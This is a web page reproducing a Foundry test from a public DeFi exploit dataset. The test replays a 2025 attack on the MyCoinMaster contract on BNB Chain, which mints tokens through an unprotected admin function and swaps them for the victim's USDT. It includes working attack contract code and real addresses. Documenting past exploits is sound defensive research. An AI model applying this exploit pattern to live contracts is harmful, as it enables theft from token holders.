Skip to content
THREATWIRE

Public reproduction file

src/test/2025-08/MyCoinMaster_exp.sol

Public reproduction file for dataset entry MyCoinMaster.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-08/MyCoinMaster_exp.sol73 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 653.49 USD
8// Attacker : 0xEBE15A67e37203563d0D99AafAf06eCf41305FbA
9// Attack Contract : 0x436322d4a854E89cDdaFF00C2c1cB72015f37ca1
10// Vulnerable Contract : 0xEF9A10D6abFd5D3aA345a008c0F9132Ce4b23E70
11// Attack Tx : https://bscscan.com/tx/0x57865009e1cfb7516240eb901342f3b434c2a2754e14604c838024ffe2e191a7
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xEF9A10D6abFd5D3aA345a008c0F9132Ce4b23E70#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1628
18//
19// Attack summary: MycoinmasterV7 exposed buyBYAdmin(uint256,address,address) without an admin check. The attacker used
20// it to mint a large locked MYC position to the victim contract and a 1% MYC airdrop to the attack contract, then
21// called swap(uint256). swap() accepted the airdropped MYC and paid USDT from the victim contract.
22// Root cause: missing access control on buyBYAdmin plus direct USDT redemption in swap().
24address constant ATTACKER = 0xEBE15A67e37203563d0D99AafAf06eCf41305FbA;
25address constant ATTACK_CONTRACT = 0x436322d4a854E89cDdaFF00C2c1cB72015f37ca1;
26address constant MYCOINMASTER = 0xEF9A10D6abFd5D3aA345a008c0F9132Ce4b23E70;
27address constant MYC = 0x0f1c6638561F29F489E24D234014F4dEba1A9ABd;
28address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
30interface IMyCoinMaster {
31 function buyBYAdmin(uint256 tokens, address sponsor, address user) external payable;
32 function swap(
33 uint256 tokens
34 ) external;
37contract ContractTest is BaseTestWithBalanceLog {
38 MyCoinMasterAttack private exploit;
40 function setUp() public {
41 uint256 forkBlock = 56_555_696;
42 vm.createSelectFork("bsc", forkBlock);
43 vm.label(ATTACKER, "Attacker");
44 vm.label(ATTACK_CONTRACT, "Attack Contract");
45 vm.label(MYCOINMASTER, "Mycoinmaster Proxy");
46 vm.label(MYC, "MYC");
47 vm.label(USDT_TOKEN, "USDT");
49 exploit = new MyCoinMasterAttack();
50 fundingToken = USDT_TOKEN;
51 attacker = address(exploit);
52 }
54 function testExploit() public balanceLog {
55 uint256 victimUsdtBefore = IERC20(USDT_TOKEN).balanceOf(MYCOINMASTER);
56 exploit.run();
58 uint256 profit = IERC20(USDT_TOKEN).balanceOf(address(exploit));
59 assertEq(profit, 653_629_999_995_700_000_000, "USDT profit");
60 assertEq(victimUsdtBefore - IERC20(USDT_TOKEN).balanceOf(MYCOINMASTER), profit, "victim USDT loss");
61 }
64contract MyCoinMasterAttack {
65 function run() external {
66 uint256 mycMintAmount = 100_000_000_000_000;
67 uint256 swapAmount = 120_225_946_717;
69 IMyCoinMaster(MYCOINMASTER).buyBYAdmin(mycMintAmount, address(this), address(this));
70 IERC20(MYC).approve(MYCOINMASTER, swapAmount);
71 IMyCoinMaster(MYCOINMASTER).swap(swapAmount);
72 }

Analysis

Dataset entry

Public Foundry test for “MyCoinMaster” (2025-08-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xebe15a67e37203563d0d99aafaf06ecf41305fba

  • Attack Contract

    0x436322d4a854e89cddaff00c2c1cb72015f37ca1

  • Vulnerable Contract

    0xef9a10d6abfd5d3aa345a008c0f9132ce4b23e70

  • Attack Tx

    0x57865009e1cfb7516240eb901342f3b434c2a2754e14604c838024ffe2e191a7

File record

Name
MyCoinMaster
Path
src/test/2025-08/MyCoinMaster_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4a71143b268806e8bf7a5a67f7e0830601d71335
Language
Solidity
Size
74 lines
Date
2025-08-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-08/MyCoinMaster_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4a71143b268806e8bf7a5a67f7e0830601d71335, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.